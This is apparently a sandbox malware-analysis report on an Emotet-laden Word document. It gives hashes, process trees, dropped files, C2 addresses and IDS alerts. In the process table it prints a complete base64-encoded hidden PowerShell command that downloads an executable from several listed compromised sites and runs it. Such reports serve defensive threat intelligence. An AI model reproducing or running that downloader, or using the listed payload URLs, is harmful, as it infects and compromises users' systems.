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| File name: | DOC |
| Full analysis: | https://app.any.run/tasks/827ec4ec-3906-4c4d-8300-621f20065cfe |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 06, 2019, 23:33:08 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Est quod sint., Author: Santino Walter, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Dec 6 12:56:00 2019, Last Saved Time/Date: Fri Dec 6 12:56:00 2019, Number of Pages: 1, Number of Words: 58, Number of Characters: 337, Security: 0 |
| MD5: | A8A7CB00C770E11B065A493EC19DD7F4 |
| SHA1: | 55C358CD6DCAAE9E8E43924F89699AC60B2D1EB7 |
| SHA256: | 5073CE9A6615C8A83AB94AA85A5D2F3C69A2536AE69027855E6CAFDC1D39B3C7 |
| SSDEEP: | 6144:qdv65YoA4CXD02k4utGiL3HJk+yD7brA8ejyt:qdv65YoA4CXD0/Qitk57b88eGt |
MALICIOUS
Application was dropped or rewritten from another process
- 535.exe (PID: 2152)
- 535.exe (PID: 3688)
- serialfunc.exe (PID: 3740)
- serialfunc.exe (PID: 2192)
Emotet process was detected
- 535.exe (PID: 2152)
EMOTET was detected
- serialfunc.exe (PID: 3740)
Connects to CnC server
- serialfunc.exe (PID: 3740)
SUSPICIOUS
Executed via WMI
- powershell.exe (PID: 2644)
Creates files in the user directory
- powershell.exe (PID: 2644)
PowerShell script executed
- powershell.exe (PID: 2644)
Application launched itself
- 535.exe (PID: 3688)
Executable content was dropped or overwritten
- powershell.exe (PID: 2644)
- 535.exe (PID: 2152)
Starts itself from another location
- 535.exe (PID: 2152)
Connects to server without host name
- serialfunc.exe (PID: 3740)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2240)
Creates files in the user directory
- WINWORD.EXE (PID: 2240)
Reads settings of System Certificates
- powershell.exe (PID: 2644)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Est quod sint. |
|---|---|
| Subject: | - |
| Author: | Santino Walter |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:12:06 12:56:00 |
| ModifyDate: | 2019:12:06 12:56:00 |
| Pages: | 1 |
| Words: | 58 |
| Characters: | 337 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 2 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 394 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2240 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\DOC.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2644 | powershell -w hidden -en JABLAHYAcQBsAHMAdAB0AGQAZwA9ACcAVgBqAHUAZAB1AHgAbgBsAHEAYQBjAHoAZAAnADsAJABTAGIAawB5AGcAdQBlAHkAYQB5ACAAPQAgACcANQAzADUAJwA7ACQAUwBrAG4AbQBnAHYAdgBvAHkAPQAnAE4AeABuAGsAYwBlAGIAbwAnADsAJABEAGEAeQB1AGsAbwBnAHIAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUwBiAGsAeQBnAHUAZQB5AGEAeQArACcALgBlAHgAZQAnADsAJABRAGsAYgBuAG0AcgBlAGgAdwBuAD0AJwBOAGEAcwB0AGMAdABhAG4AZgBlAHoAJwA7ACQARgBqAGkAeQB0AGoAbAB1AGIAZQByAHcAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAYwBsAEkARQBuAFQAOwAkAEsAdABmAGcAcwB0AGIAZQB6AGsAcwB5AGYAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgByAGoAbwAuAGMAbwBtAC8ANgBwAHEAYQBtAHkANAAvADIAYQBnAC8AKgBoAHQAdABwADoALwAvAGEAaQByAC0AbwAtAHQAcgBpAHAALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE4ARwAyAC8AKgBoAHQAdABwADoALwAvAGkAbgBmAC4AYQB3AHcAdABoAGkAbgBnAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8ANgBsAC8AKgBoAHQAdABwAHMAOgAvAC8AawBhAHIAeQBhAGsAcgBlAGEAcwBpAG4AZABvAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AOQB6AHQALwAqAGgAdAB0AHAAcwA6AC8ALwBnAGUAbQBzAHQAYQB0AGUAZABlAHYALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG4AYwAvACcALgAiAHMAUABgAGwASQBUACIAKAAnACoAJwApADsAJABPAGQAcAB6AHUAYwB6AG4AdABiAHoAbQB6AD0AJwBSAGcAYwBoAGUAdwBqAG0AcgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQwB3AG4AbQByAGUAeQBhAGwAbQBwAG0AIABpAG4AIAAkAEsAdABmAGcAcwB0AGIAZQB6AGsAcwB5AGYAKQB7AHQAcgB5AHsAJABGAGoAaQB5AHQAagBsAHUAYgBlAHIAdwAuACIARABPAGAAVwBuAEwATwBgAEEARABgAEYAaQBMAGUAIgAoACQAQwB3AG4AbQByAGUAeQBhAGwAbQBwAG0ALAAgACQARABhAHkAdQBrAG8AZwByAGcAKQA7ACQASQBvAGEAZwBsAGsAZgBuAD0AJwBPAGgAYgBsAHkAZQB1AHoAcwBnAGQAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABEAGEAeQB1AGsAbwBnAHIAZwApAC4AIgBMAGAARQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMwA5ADkANgA4ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgB0ACIAKAAkAEQAYQB5AHUAawBvAGcAcgBnACkAOwAkAFkAYwBzAHEAZABlAHEAeQBwAHMAdABsAG0APQAnAFAAZwBsAHUAcQBkAHoAYQB3AGYAcwAnADsAYgByAGUAYQBrADsAJABaAGMAeQBpAHMAZQBoAGoAcgBwAGsAPQAnAFEAcgBpAHIAbgByAGgAagBkAGEAcgBmAGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgB3AGwAawBwAGQAeQBtAHQAbABzAGgAZgA9ACcAUgBiAGEAdABtAGgAcwBlAHIAYQBoAGQAdgAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3688 | "C:\Users\admin\535.exe" | C:\Users\admin\535.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 | ||||
| 2152 | --6e6396f5 | C:\Users\admin\535.exe | 535.exe | |
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 | ||||
| 2192 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 535.exe |
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 | ||||
| 3740 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | |
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Version: 1, 0, 0, 1 | ||||
Total events
2 301
Read events
1 466
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
2
Text files
1
Unknown types
7
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2240 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE02E.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2240 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C9DA53E3.wmf | — | |
MD5:— | SHA256:— | |||
| 2240 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6EADB488.wmf | — | |
MD5:— | SHA256:— | |||
| 2240 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\76085AE9.wmf | — | |
MD5:— | SHA256:— | |||
| 2240 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\336673D6.wmf | — | |
MD5:— | SHA256:— | |||
| 2240 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BE4125DF.wmf | — | |
MD5:— | SHA256:— | |||
| 2240 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\512CC654.wmf | — | |
MD5:— | SHA256:— | |||
| 2240 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\547F8A45.wmf | — | |
MD5:— | SHA256:— | |||
| 2240 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9C4E8382.wmf | — | |
MD5:— | SHA256:— | |||
| 2240 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1014799B.wmf | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
5
DNS requests
4
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3740 | serialfunc.exe | POST | — | 107.2.2.28:80 | http://107.2.2.28/JC8wfwXnQcgG | US | — | — | malicious |
2644 | powershell.exe | GET | 200 | 104.28.30.186:80 | http://air-o-trip.com/wp-admin/NG2/ | US | html | 3.97 Kb | shared |
2644 | powershell.exe | GET | 301 | 209.97.150.99:80 | http://www.rjo.com/6pqamy4/2ag/ | US | html | 162 b | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2644 | powershell.exe | 209.97.150.99:80 | www.rjo.com | — | US | unknown |
2644 | powershell.exe | 104.28.30.186:80 | air-o-trip.com | Cloudflare Inc | US | shared |
2644 | powershell.exe | 209.97.150.99:443 | www.rjo.com | — | US | unknown |
— | — | 107.2.2.28:80 | — | Comcast Cable Communications, LLC | US | malicious |
2644 | powershell.exe | 101.50.1.17:443 | karyakreasindo.com | PT. Beon Intermedia | ID | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.rjo.com |
| unknown |
air-o-trip.com |
| unknown |
inf.awwthings.com |
| unknown |
karyakreasindo.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3740 | serialfunc.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 2 |
3740 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
3740 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
3740 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |